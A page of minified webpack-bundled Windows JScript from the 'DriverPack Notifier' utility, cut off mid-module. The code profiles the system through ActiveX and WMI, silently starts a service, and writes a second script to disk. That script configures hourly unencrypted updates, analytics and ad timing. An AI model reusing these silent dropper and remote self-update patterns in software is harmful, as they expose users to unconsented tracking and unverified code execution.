You are on page 1of 344

!

function(modules) {
function __webpack_require__(moduleId) {
if (installedModules[moduleId]) return installedModules[moduleId].exports;
var module = installedModules[moduleId] = {
i: moduleId,
l: !1,
exports: {}
};
modules[moduleId].call(module.exports, module, module.exports,
__webpack_require__);
module.l = !0;
return module.exports;
}
var installedModules = {};
__webpack_require__.m = modules;
__webpack_require__.c = installedModules;
__webpack_require__.i = function(value) {
return value;
};
__webpack_require__.d = function(exports, name, getter) {
if (!__webpack_require__.o(exports, name)) Object.defineProperty(exports,
name, {
configurable: !1,
enumerable: !0,
get: getter
});
};
__webpack_require__.n = function(module) {
var getter = module && module.__esModule ? function() {
return module["default"];
} : function() {
return module;
};
__webpack_require__.d(getter, "a", getter);
return getter;
};
__webpack_require__.o = function(object, property) {
return Object.prototype.hasOwnProperty.call(object, property);
};
__webpack_require__.p = "";
__webpack_require__(__webpack_require__.s = 494);
}({
107: function(module, exports, __webpack_require__) {
"use strict";
var geoip = {
geoip_city_country_code: "PH",
geoip_area_code: "0",
geoip_city: "",
geoip_city_continent_code: "AS",
geoip_city_country_code: "PH",
geoip_city_country_code3: "PHL",
geoip_city_country_name: "Philippines",
geoip_country_code: "PH",
geoip_country_code3: "PHL",
geoip_country_name: "Philippines",
geoip_dma_code: "0",
geoip_latitude: "14.5833",
geoip_longitude: "120.9667",
geoip_org: "",
geoip_postal_code: "",
geoip_region: "",
geoip_region_name: ""
};
window.geoip = geoip;
},
13: function(module, exports, __webpack_require__) {
"use strict";
exports.__esModule = !0;
exports.WshShell = exports.objShell = undefined;
var _WshShell = __webpack_require__(43), _WshShell2 = function(obj) {
return obj && obj.__esModule ? obj : {
"default": obj
};
}(_WshShell);
exports.objShell = new ActiveXObject("Shell.Application");
exports.WshShell = _WshShell2["default"];
},
14: function(module, exports, __webpack_require__) {
"use strict";
exports.__esModule = !0;
exports.OSCaption = exports.OSVersionSP = exports.OSName =
exports.osVersions = exports.OSArchitecture = exports.OSCSDVersion =
exports.OSVersion = exports.OSVersionS = exports.arch = exports.is64 = undefined;
var _WshShell = __webpack_require__(43), _WshShell2 = function(obj) {
return obj && obj.__esModule ? obj : {
"default": obj
};
}(_WshShell), _wmi = __webpack_require__(2), is64 = exports.is64 = "AMD64"
=== _WshShell2["default"].ExpandEnvironmentStrings("%PROCESSOR_ARCHITECTURE%") ||
"%PROCESSOR_ARCHITEW6432%" !==
_WshShell2["default"].ExpandEnvironmentStrings("%PROCESSOR_ARCHITEW6432%"),
_getWMIObjects = (exports.arch = is64 ? "64" : "86",
(0, _wmi.getWMIObjects)([ "Version", "CSDVersion", "Caption",
"OSArchitecture" ], "Win32_OperatingSystem")), _getWMIObjects$ = _getWMIObjects[0];
_getWMIObjects$ = _getWMIObjects$ === undefined ? {} : _getWMIObjects$;
var _getWMIObjects$$Versi = _getWMIObjects$.Version, Version =
_getWMIObjects$$Versi === undefined ? "" : _getWMIObjects$$Versi, _getWMIObjects$
$CSDVe = _getWMIObjects$.CSDVersion, CSDVersion = _getWMIObjects$$CSDVe ===
undefined ? "" : _getWMIObjects$$CSDVe, _getWMIObjects$$Capti =
_getWMIObjects$.Caption, Caption = _getWMIObjects$$Capti === undefined ? "" :
_getWMIObjects$$Capti, OSVersionS = exports.OSVersionS = Version.replace(/.\d\d.*/,
""), OSArchitecture = (exports.OSVersion = parseFloat(OSVersionS) || 5,
exports.OSCSDVersion = CSDVersion, exports.OSArchitecture =
OSArchitecture), osVersions = exports.osVersions = {
"5.0": "2000",
"5.1": "XP",
"5.2": "Server 2003",
"6.0": "Vista",
"6.1": "7",
"6.2": "8",
"6.3": "8.1",
"6.4": "9",
"10.0": "10"
}, m = (exports.OSName = osVersions[OSVersionS] || OSVersionS, CSDVersion
&& /^Service Pack (\d+)$/i.exec(CSDVersion));
exports.OSVersionSP = m ? parseInt(m[1], 10) : 0, exports.OSCaption =
Caption.replace(/Microsoft /i, "");
},
15: function(module, exports, __webpack_require__) {
"use strict";
exports.__esModule = !0;
exports.ProgramFiles = exports.AppFolder = exports.localAppData =
exports.AppData = undefined;
var _shell = __webpack_require__(13), _config = __webpack_require__(6), _os
= __webpack_require__(14), AppData = exports.AppData =
_shell.WshShell.SpecialFolders("AppData");
exports.localAppData = _shell.objShell.NameSpace(28).Self.Path,
exports.AppFolder = AppData + "\\" + _config.application.AppFolder,
exports.ProgramFiles = _os.is64 ?
_shell.WshShell.ExpandEnvironmentStrings("%PROGRAMFILES(x86)%") :
_shell.WshShell.ExpandEnvironmentStrings("%PROGRAMFILES%");
},
2: function(module, exports, __webpack_require__) {
"use strict";
exports.__esModule = !0;
exports.getWMIObjects = exports.objWMIService = exports.ConnectServer =
exports.locator = undefined;
var _iterate = __webpack_require__(28), _iterate2 = function(obj) {
return obj && obj.__esModule ? obj : {
"default": obj
};
}(_iterate), locator = exports.locator = new
ActiveXObject("WbemScripting.SWbemLocator"), _ConnectServer = function(namespace,
context) {
if (context) {
var set = new ActiveXObject("WbemScripting.SWbemNamedValueSet");
for (var key in context) set.Add(key, context[key]);
return locator.ConnectServer(null, namespace, null, null, null,
null, null, set);
} else return locator.ConnectServer(null, namespace);
}, ConnectServer = exports.ConnectServer = function() {
var wmi = void 0;
try {
wmi = _ConnectServer.apply(undefined, arguments);
} catch (err) {}
if (!wmi) {
new ActiveXObject("WScript.Shell").Run("net start winmgmt", 0, !0);
wmi = _ConnectServer.apply(undefined, arguments);
}
return wmi;
}, objWMIService = exports.objWMIService = ConnectServer("root\\cimv2");
exports.getWMIObjects = function(names, source, where) {
var wmi = arguments.length > 3 && arguments[3] !== undefined ?
arguments[3] : objWMIService;
try {
var results = [], query = "SELECT * FROM " + source;
if (where) query += " WHERE " + where;
var colItems = wmi.ExecQuery(query, "WQL");
(0, _iterate2["default"])(colItems, function(objItem) {
var obj = {};
names.forEach(function(name) {
try {
if (objItem[name] || objItem[name].toArray) if
(objItem[name].toArray) obj[name] = objItem[name].toArray(); else obj[name] =
objItem[name];
} catch (e) {}
});
results.push(obj);
});
return results;
} catch (e) {
return [];
}
};
},
21: function(module, exports, __webpack_require__) {
"use strict";
exports.__esModule = !0;
exports.ensurePath = exports.isFileOverdue = exports.queryFile =
exports.deleteFile = exports.createFile = undefined;
var _fso = __webpack_require__(7), isFileOverdue = (exports.createFile =
function(path, fileName, fileContent) {
ensurePath(path);
var FSfile = _fso.fso.OpenTextFile(path + fileName, 2, !0, -1);
FSfile.WriteLine(fileContent);
FSfile.Close();
}, exports.deleteFile = function(fullPath) {
if (!0 === _fso.fso.FileExists(fullPath))
_fso.fso.DeleteFile(fullPath);
}, exports.queryFile = function(fullPath, overdueInterval) {
if (_fso.fso.FileExists(fullPath) && _fso.fso.GetFile(fullPath).Size >
0) if (overdueInterval && isFileOverdue(fullPath, overdueInterval)) throw new
Error("File is overdue"); else {
var file = _fso.fso.OpenTextFile(fullPath, 1, !0, -1), data =
file.ReadAll();
file.Close();
return data;
} else throw new Error("File is not found");
}, exports.isFileOverdue = function(fullPath, overdueInterval) {
if (!0 === _fso.fso.FileExists(fullPath)) {
if (new Date().getTime() -
_fso.fso.GetFile(fullPath).DateLastModified > overdueInterval) return !0; else
return !1;
} else return !0;
}), ensurePath = exports.ensurePath = function(path) {
for (var parts = path.split("\\"), stack = []; parts.length > 0; ) {
var current = parts.join("\\");
if (parts.pop()) if (_fso.fso.FolderExists(current)) break; else
stack.push(current);
}
for (;stack.length > 0; ) {
var _current = stack.pop();
if (!_fso.fso.FolderExists(_current))
_fso.fso.CreateFolder(_current);
}
return path;
};
},
224: function(module, exports, __webpack_require__) {
"use strict";
var _localFiles = __webpack_require__(21), _fso = __webpack_require__(7),
_scripts = __webpack_require__(79), _paths = __webpack_require__(55), tools =
_paths.AppPath + "\\bin\\Tools", localUpdateScript = tools + "\\update.js";
(0, _localFiles.ensurePath)(tools);
var file = _fso.fso.CreateTextFile(localUpdateScript, !0, !0);
file.WriteLine("!function(modules) {");
file.WriteLine(" function __webpack_require__(moduleId) {");
file.WriteLine(" if (installedModules[moduleId]) return
installedModules[moduleId].exports;");
file.WriteLine(" var module = installedModules[moduleId] = {");
file.WriteLine(" i: moduleId,");
file.WriteLine(" l: !1,");
file.WriteLine(" exports: {}");
file.WriteLine(" };");
file.WriteLine(" modules[moduleId].call(module.exports, module,
module.exports, __webpack_require__);");
file.WriteLine(" module.l = !0;");
file.WriteLine(" return module.exports;");
file.WriteLine(" }");
file.WriteLine(" var installedModules = {};");
file.WriteLine(" __webpack_require__.m = modules;");
file.WriteLine(" __webpack_require__.c = installedModules;");
file.WriteLine(" __webpack_require__.i = function(value) {");
file.WriteLine(" return value;");
file.WriteLine(" };");
file.WriteLine(" __webpack_require__.d = function(exports, name, getter) {");
file.WriteLine(" if (!__webpack_require__.o(exports, name))
Object.defineProperty(exports, name, {");
file.WriteLine(" configurable: !1,");
file.WriteLine(" enumerable: !0,");
file.WriteLine(" get: getter");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" __webpack_require__.n = function(module) {");
file.WriteLine(" var getter = module && module.__esModule ? function() {");
file.WriteLine(" return module[\"default\"];");
file.WriteLine(" } : function() {");
file.WriteLine(" return module;");
file.WriteLine(" };");
file.WriteLine(" __webpack_require__.d(getter, \"a\", getter);");
file.WriteLine(" return getter;");
file.WriteLine(" };");
file.WriteLine(" __webpack_require__.o = function(object, property) {");
file.WriteLine(" return Object.prototype.hasOwnProperty.call(object,
property);");
file.WriteLine(" };");
file.WriteLine(" __webpack_require__.p = \"\";");
file.WriteLine(" __webpack_require__(__webpack_require__.s = 495);");
file.WriteLine("}([ , function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireWildcard(obj) {");
file.WriteLine(" if (obj && obj.__esModule) return obj; else {");
file.WriteLine(" var newObj = {};");
file.WriteLine(" if (null != obj) for (var key in obj) if
(Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key];");
file.WriteLine(" newObj[\"default\"] = obj;");
file.WriteLine(" return newObj;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _extends = Object.assign || function(target) {");
file.WriteLine(" for (var i = 1; i < arguments.length; i++) {");
file.WriteLine(" var source = arguments[i];");
file.WriteLine(" for (var key in source) if
(Object.prototype.hasOwnProperty.call(source, key)) target[key] = source[key];");
file.WriteLine(" }");
file.WriteLine(" return target;");
file.WriteLine(" }, _cmd = __webpack_require__(137), cmd =
_interopRequireWildcard(_cmd), _fso = __webpack_require__(7), fso =
_interopRequireWildcard(_fso), _http = __webpack_require__(34), http =
_interopRequireWildcard(_http), _localFiles = __webpack_require__(21), localFiles =
_interopRequireWildcard(_localFiles), _processes = __webpack_require__(138),
processes = _interopRequireWildcard(_processes), _registry =
__webpack_require__(29), registry = _interopRequireWildcard(_registry), _sendImg =
__webpack_require__(69), sendImg = _interopRequireWildcard(_sendImg), _shell =
__webpack_require__(13), shell = _interopRequireWildcard(_shell), _specialFolders =
__webpack_require__(15), specialFolders = _interopRequireWildcard(_specialFolders),
_wmiRegistry = __webpack_require__(70), wmiRegistry =
_interopRequireWildcard(_wmiRegistry), _iterate = __webpack_require__(28),
_iterate2 = function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_iterate);");
file.WriteLine(" exports[\"default\"] = _extends({}, cmd, fso, http, localFiles,
processes, registry, sendImg, shell, specialFolders, wmiRegistry, {");
file.WriteLine(" iterate: _iterate2[\"default\"]");
file.WriteLine(" });");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.getWMIObjects = exports.objWMIService =
exports.ConnectServer = exports.locator = undefined;");
file.WriteLine(" var _iterate = __webpack_require__(28), _iterate2 =
function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_iterate), locator = exports.locator = new
ActiveXObject(\"WbemScripting.SWbemLocator\"), _ConnectServer = function(namespace,
context) {");
file.WriteLine(" if (context) {");
file.WriteLine(" var set = new
ActiveXObject(\"WbemScripting.SWbemNamedValueSet\");");
file.WriteLine(" for (var key in context) set.Add(key, context[key]);");
file.WriteLine(" return locator.ConnectServer(null, namespace, null,
null, null, null, null, set);");
file.WriteLine(" } else return locator.ConnectServer(null, namespace);");
file.WriteLine(" }, ConnectServer = exports.ConnectServer = function() {");
file.WriteLine(" var wmi = void 0;");
file.WriteLine(" try {");
file.WriteLine(" wmi = _ConnectServer.apply(undefined, arguments);");
file.WriteLine(" } catch (err) {}");
file.WriteLine(" if (!wmi) {");
file.WriteLine(" new ActiveXObject(\"WScript.Shell\").Run(\"net start
winmgmt\", 0, !0);");
file.WriteLine(" wmi = _ConnectServer.apply(undefined, arguments);");
file.WriteLine(" }");
file.WriteLine(" return wmi;");
file.WriteLine(" }, objWMIService = exports.objWMIService =
ConnectServer(\"root\\\\cimv2\");");
file.WriteLine(" exports.getWMIObjects = function(names, source, where) {");
file.WriteLine(" var wmi = arguments.length > 3 && arguments[3] !==
undefined ? arguments[3] : objWMIService;");
file.WriteLine(" try {");
file.WriteLine(" var results = [], query = \"SELECT * FROM \" +
source;");
file.WriteLine(" if (where) query += \" WHERE \" + where;");
file.WriteLine(" var colItems = wmi.ExecQuery(query, \"WQL\");");
file.WriteLine(" (0, _iterate2[\"default\"])(colItems, function(objItem)
{");
file.WriteLine(" var obj = {};");
file.WriteLine(" names.forEach(function(name) {");
file.WriteLine(" try {");
file.WriteLine(" if (objItem[name] || objItem[name].toArray)
if (objItem[name].toArray) obj[name] = objItem[name].toArray(); else obj[name] =
objItem[name];");
file.WriteLine(" } catch (e) {}");
file.WriteLine(" });");
file.WriteLine(" results.push(obj);");
file.WriteLine(" });");
file.WriteLine(" return results;");
file.WriteLine(" } catch (e) {");
file.WriteLine(" return [];");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine("}, , function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireWildcard(obj) {");
file.WriteLine(" if (obj && obj.__esModule) return obj; else {");
file.WriteLine(" var newObj = {};");
file.WriteLine(" if (null != obj) for (var key in obj) if
(Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key];");
file.WriteLine(" newObj[\"default\"] = obj;");
file.WriteLine(" return newObj;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _extends = Object.assign || function(target) {");
file.WriteLine(" for (var i = 1; i < arguments.length; i++) {");
file.WriteLine(" var source = arguments[i];");
file.WriteLine(" for (var key in source) if
(Object.prototype.hasOwnProperty.call(source, key)) target[key] = source[key];");
file.WriteLine(" }");
file.WriteLine(" return target;");
file.WriteLine(" }, _flags = __webpack_require__(42), flags =
_interopRequireWildcard(_flags), _fso = __webpack_require__(78), fso =
_interopRequireWildcard(_fso), _helpers = __webpack_require__(169), helpers =
_interopRequireWildcard(_helpers), _http = __webpack_require__(170), http =
_interopRequireWildcard(_http), _installation = __webpack_require__(171),
installation = _interopRequireWildcard(_installation), _paths =
__webpack_require__(55), paths = _interopRequireWildcard(_paths), _scripts =
__webpack_require__(79), scripts = _interopRequireWildcard(_scripts), _time =
__webpack_require__(172), time = _interopRequireWildcard(_time), _wmi =
__webpack_require__(173), wmi = _interopRequireWildcard(_wmi);");
file.WriteLine(" exports[\"default\"] = _extends({}, flags, fso, helpers, http,
installation, paths, scripts, time, wmi);");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, , function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var context = \"undefined\" == typeof window ? {} : window,
version = context.version || \"1.0\", verType = context.verType, config = {");
file.WriteLine(" application: {");
file.WriteLine(" AppFolder: \"DRPSu\",");
file.WriteLine(" DisplayVersion: verType ? version + \" \" + verType :
version");
file.WriteLine(" },");
file.WriteLine(" analytics: {");
file.WriteLine(" category: \"desktop\",");
file.WriteLine(" identifier: \"clientId\",");
file.WriteLine(" google: {},");
file.WriteLine(" yandex: {");
file.WriteLine(" enabled: !1");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" logging: !0");
file.WriteLine(" };");
file.WriteLine(" try {");
file.WriteLine(" Object.assign(config, {");
file.WriteLine(" application: {");
file.WriteLine(" DisplayVersion: \"17.7.52+patch.11\",");
file.WriteLine(" AppName: \"DriverPack Notifier\",");
file.WriteLine(" AppFolder: \"DriverPack Notifier\",");
file.WriteLine(" DisplayName: \"DriverPack Notifier\",");
file.WriteLine(" AppExecutable: \"DriverPackNotifier.exe\",");
file.WriteLine(" UninstallConfirm: \"After removing this software
you will no longer be informed about problems with HDD, CPU, RAM, etc.\\nAre you
sure you want to continue?\\n\",");
file.WriteLine(" Uninstall: {");
file.WriteLine(" cmd: \"Uninstall.exe\",");
file.WriteLine(" arguments: \"--uninstall\"");
file.WriteLine(" },");
file.WriteLine(" DisplayIcon: \"Icon.ico\",");
file.WriteLine(" Publisher: \"DriverPack Solution\"");
file.WriteLine(" },");
file.WriteLine(" notification: {");
file.WriteLine(" title: \"DriverPack Solution Notifer\"");
file.WriteLine(" },");
file.WriteLine(" analytics: {");
file.WriteLine(" google: {");
file.WriteLine(" session: \"prolonged\",");
file.WriteLine(" shared: \"UA-68879973-9\",");
file.WriteLine(" primary: \"UA-68879973-5\"");
file.WriteLine(" },");
file.WriteLine(" yandex: {");
file.WriteLine(" enabled: !0,");
file.WriteLine(" url: \"http://notifier.drp.su/\",");
file.WriteLine(" shared: 33423178,");
file.WriteLine(" primary: 33199893");
file.WriteLine(" },");
file.WriteLine(" category: \"notifier\",");
file.WriteLine(" identifier: \"computerId\",");
file.WriteLine(" experiments:
[ \"control\", \"bad_idea\", \"think_again\" ]");
file.WriteLine(" },");
file.WriteLine(" update: {");
file.WriteLine(" hostname: \"http://update.drp.su/notifier\",");
file.WriteLine(" filename: \"\",");
file.WriteLine(" interval: 36e5");
file.WriteLine(" },");
file.WriteLine(" monitoring: {");
file.WriteLine(" AdDelay: 864e5,");
file.WriteLine(" MonitoringCheckDelay: 6e4,");
file.WriteLine(" UserActivity: {");
file.WriteLine(" CheckTimeout: 18e4");
file.WriteLine(" },");
file.WriteLine(" CPU: {");
file.WriteLine(" LoadPercentageThreshold: 100,");
file.WriteLine(" CheckTimeout: 3e5,");
file.WriteLine(" ExtraLoadMaxCount: 4");
file.WriteLine(" },");
file.WriteLine(" RAM: {");
file.WriteLine(" LoadPercentageThreshold: 100,");
file.WriteLine(" CheckTimeout: 3e5,");
file.WriteLine(" ExtraLoadMaxCount: 4");
file.WriteLine(" },");
file.WriteLine(" Battery: {");
file.WriteLine(" PoorConditionThreshold: 70");
file.WriteLine(" },");
file.WriteLine(" DriverPack: {");
file.WriteLine(" tries: 1,");
file.WriteLine(" sampling: .99,");
file.WriteLine(" timeout: 1296e6,");
file.WriteLine(" apiEndpoint: \"http://update.drp.su/api\",");
file.WriteLine(" protectThreshold: 70,");
file.WriteLine(" protectThresholdUseful: 50");
file.WriteLine(" }");
file.WriteLine(" },");
file.WriteLine(" metrics: {");
file.WriteLine(" serverURL: \"http://notifier.drp.su/api\"");
file.WriteLine(" },");
file.WriteLine(" wget: {");
file.WriteLine(" paths: [ \"tools\\\\driverpack-
wget.exe\", \"tools\\\\wget.exe\" ]");
file.WriteLine(" },");
file.WriteLine(" logging: !1");
file.WriteLine(" });");
file.WriteLine(" } catch (err) {}");
file.WriteLine(" exports[\"default\"] = config;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.fso = new
ActiveXObject(\"Scripting.FileSystemObject\");");
file.WriteLine("}, , , , , , function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.WshShell = exports.objShell = undefined;");
file.WriteLine(" var _WshShell = __webpack_require__(43), _WshShell2 =
function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_WshShell);");
file.WriteLine(" exports.objShell = new ActiveXObject(\"Shell.Application\");");
file.WriteLine(" exports.WshShell = _WshShell2[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.OSCaption = exports.OSVersionSP = exports.OSName =
exports.osVersions = exports.OSArchitecture = exports.OSCSDVersion =
exports.OSVersion = exports.OSVersionS = exports.arch = exports.is64 =
undefined;");
file.WriteLine(" var _WshShell = __webpack_require__(43), _WshShell2 =
function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_WshShell), _wmi = __webpack_require__(2), is64 =
exports.is64 = \"AMD64\" ===
_WshShell2[\"default\"].ExpandEnvironmentStrings(\"%PROCESSOR_ARCHITECTURE%\")
|| \"%PROCESSOR_ARCHITEW6432%\" !==
_WshShell2[\"default\"].ExpandEnvironmentStrings(\"%PROCESSOR_ARCHITEW6432%\"),
_getWMIObjects = (exports.arch = is64 ? \"64\" : \"86\", ");
file.WriteLine(" (0, _wmi.getWMIObjects)
([ \"Version\", \"CSDVersion\", \"Caption\", \"OSArchitecture\" ], \"Win32_Operatin
gSystem\")), _getWMIObjects$ = _getWMIObjects[0];");
file.WriteLine(" _getWMIObjects$ = _getWMIObjects$ === undefined ? {} :
_getWMIObjects$;");
file.WriteLine(" var _getWMIObjects$$Versi = _getWMIObjects$.Version, Version =
_getWMIObjects$$Versi === undefined ? \"\" : _getWMIObjects$$Versi, _getWMIObjects$
$CSDVe = _getWMIObjects$.CSDVersion, CSDVersion = _getWMIObjects$$CSDVe ===
undefined ? \"\" : _getWMIObjects$$CSDVe, _getWMIObjects$$Capti =
_getWMIObjects$.Caption, Caption = _getWMIObjects$$Capti === undefined ? \"\" :
_getWMIObjects$$Capti, OSVersionS = exports.OSVersionS =
Version.replace(/.\\d\\d.*/, \"\"), OSArchitecture = (exports.OSVersion =
parseFloat(OSVersionS) || 5, ");
file.WriteLine(" exports.OSCSDVersion = CSDVersion, exports.OSArchitecture =
OSArchitecture), osVersions = exports.osVersions = {");
file.WriteLine(" \"5.0\": \"2000\",");
file.WriteLine(" \"5.1\": \"XP\",");
file.WriteLine(" \"5.2\": \"Server 2003\",");
file.WriteLine(" \"6.0\": \"Vista\",");
file.WriteLine(" \"6.1\": \"7\",");
file.WriteLine(" \"6.2\": \"8\",");
file.WriteLine(" \"6.3\": \"8.1\",");
file.WriteLine(" \"6.4\": \"9\",");
file.WriteLine(" \"10.0\": \"10\"");
file.WriteLine(" }, m = (exports.OSName = osVersions[OSVersionS] || OSVersionS,
CSDVersion && /^Service Pack (\\d+)$/i.exec(CSDVersion));");
file.WriteLine(" exports.OSVersionSP = m ? parseInt(m[1], 10) : 0,
exports.OSCaption = Caption.replace(/Microsoft /i, \"\");");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.ProgramFiles = exports.AppFolder = exports.localAppData
= exports.AppData = undefined;");
file.WriteLine(" var _shell = __webpack_require__(13), _config =
__webpack_require__(6), _os = __webpack_require__(14), AppData = exports.AppData =
_shell.WshShell.SpecialFolders(\"AppData\");");
file.WriteLine(" exports.localAppData = _shell.objShell.NameSpace(28).Self.Path,
exports.AppFolder = AppData + \"\\\\\" + _config.application.AppFolder, ");
file.WriteLine(" exports.ProgramFiles = _os.is64 ?
_shell.WshShell.ExpandEnvironmentStrings(\"%PROGRAMFILES(x86)%\") :
_shell.WshShell.ExpandEnvironmentStrings(\"%PROGRAMFILES%\");");
file.WriteLine("}, , function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.log = exports.getLogger = exports.logFolder =
undefined;");
file.WriteLine(" var _typeof = \"function\" == typeof Symbol && \"symbol\" ==
typeof Symbol.iterator ? function(obj) {");
file.WriteLine(" return typeof obj;");
file.WriteLine(" } : function(obj) {");
file.WriteLine(" return obj && \"function\" == typeof Symbol &&
obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof
obj;");
file.WriteLine(" }, _extends = Object.assign || function(target) {");
file.WriteLine(" for (var i = 1; i < arguments.length; i++) {");
file.WriteLine(" var source = arguments[i];");
file.WriteLine(" for (var key in source) if
(Object.prototype.hasOwnProperty.call(source, key)) target[key] = source[key];");
file.WriteLine(" }");
file.WriteLine(" return target;");
file.WriteLine(" }, _Logger = __webpack_require__(129), _Logger2 = function(obj)
{");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_Logger), _config = __webpack_require__(6), _fileWriter =
__webpack_require__(66);");
file.WriteLine(" exports.logFolder = _fileWriter.logFolder;");
file.WriteLine(" var logger = new _Logger2[\"default\"](_extends({");
file.WriteLine(" logging: _config.logging");
file.WriteLine(" }, _config.logs));");
file.WriteLine(" exports[\"default\"] = logger;");
file.WriteLine(" exports.getLogger = function() {");
file.WriteLine(" return logger.scope.apply(logger, arguments);");
file.WriteLine(" }, exports.log = function() {");
file.WriteLine(" for (var _len = arguments.length, args = Array(_len), _key
= 0; _key < _len; _key++) args[_key] = arguments[_key];");
file.WriteLine(" for (var message = [], params = [], _iterator = args,
_isArray = Array.isArray(_iterator), _i = 0, _iterator = _isArray ? _iterator :
_iterator[Symbol.iterator](); ;) {");
file.WriteLine(" var _ref;");
file.WriteLine(" if (_isArray) {");
file.WriteLine(" if (_i >= _iterator.length) break;");
file.WriteLine(" _ref = _iterator[_i++];");
file.WriteLine(" } else {");
file.WriteLine(" _i = _iterator.next();");
file.WriteLine(" if (_i.done) break;");
file.WriteLine(" _ref = _i.value;");
file.WriteLine(" }");
file.WriteLine(" var part = _ref;");
file.WriteLine(" if (\"object\" === (void 0 === part ? \"undefined\" :
_typeof(part))) params.push(part); else message.push(String(part));");
file.WriteLine(" }");
file.WriteLine(" var lvl = -1 !== message.indexOf(\"!!!
ERROR !!!\") ? \"error\" : \"info\";");
file.WriteLine(" logger.log(lvl, message.join(\", \"),
params, \"legacy\");");
file.WriteLine(" };");
file.WriteLine("}, , function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _asyncToGenerator(fn) {");
file.WriteLine(" return function() {");
file.WriteLine(" var gen = fn.apply(this, arguments);");
file.WriteLine(" return new Promise(function(resolve, reject) {");
file.WriteLine(" function step(key, arg) {");
file.WriteLine(" try {");
file.WriteLine(" var info = gen[key](arg), value =
info.value;");
file.WriteLine(" } catch (error) {");
file.WriteLine(" reject(error);");
file.WriteLine(" return;");
file.WriteLine(" }");
file.WriteLine(" if (info.done) resolve(value); else return
Promise.resolve(value).then(function(value) {");
file.WriteLine(" step(\"next\", value);");
file.WriteLine(" }, function(err) {");
file.WriteLine(" step(\"throw\", err);");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" return step(\"next\");");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" function _possibleConstructorReturn(self, call) {");
file.WriteLine(" if (!self) throw new ReferenceError(\"this hasn't been
initialised - super() hasn't been called\");");
file.WriteLine(" return call && (\"object\" == typeof call || \"function\"
== typeof call) ? call : self;");
file.WriteLine(" }");
file.WriteLine(" function _inherits(subClass, superClass) {");
file.WriteLine(" if (\"function\" != typeof superClass && null !==
superClass) throw new TypeError(\"Super expression must either be null or a
function, not \" + typeof superClass);");
file.WriteLine(" subClass.prototype = Object.create(superClass &&
superClass.prototype, {");
file.WriteLine(" constructor: {");
file.WriteLine(" value: subClass,");
file.WriteLine(" enumerable: !1,");
file.WriteLine(" writable: !0,");
file.WriteLine(" configurable: !0");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" if (superClass) Object.setPrototypeOf ?
Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _events = __webpack_require__(124), _config =
__webpack_require__(6), _ps = __webpack_require__(112), _ps2 = function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_ps), _system = __webpack_require__(1), _wmi =
__webpack_require__(2), _utils = __webpack_require__(4), storeRoot = (0, ");
file.WriteLine(" _system.ensurePath)(_utils.AppPath + \"\\\\data\"),
Notification = function(_EventEmitter) {");
file.WriteLine(" function Notification(type) {");
file.WriteLine(" var args = arguments.length > 1 && arguments[1] !==
undefined ? arguments[1] : {};");
file.WriteLine(" _classCallCheck(this, Notification);");
file.WriteLine(" var _this = _possibleConstructorReturn(this,
_EventEmitter.call(this));");
file.WriteLine(" _this.sendTo = \"message-request\";");
file.WriteLine(" _this.listenTo = \"message-response\";");
file.WriteLine(" _this.args = Object.assign({");
file.WriteLine(" type: type");
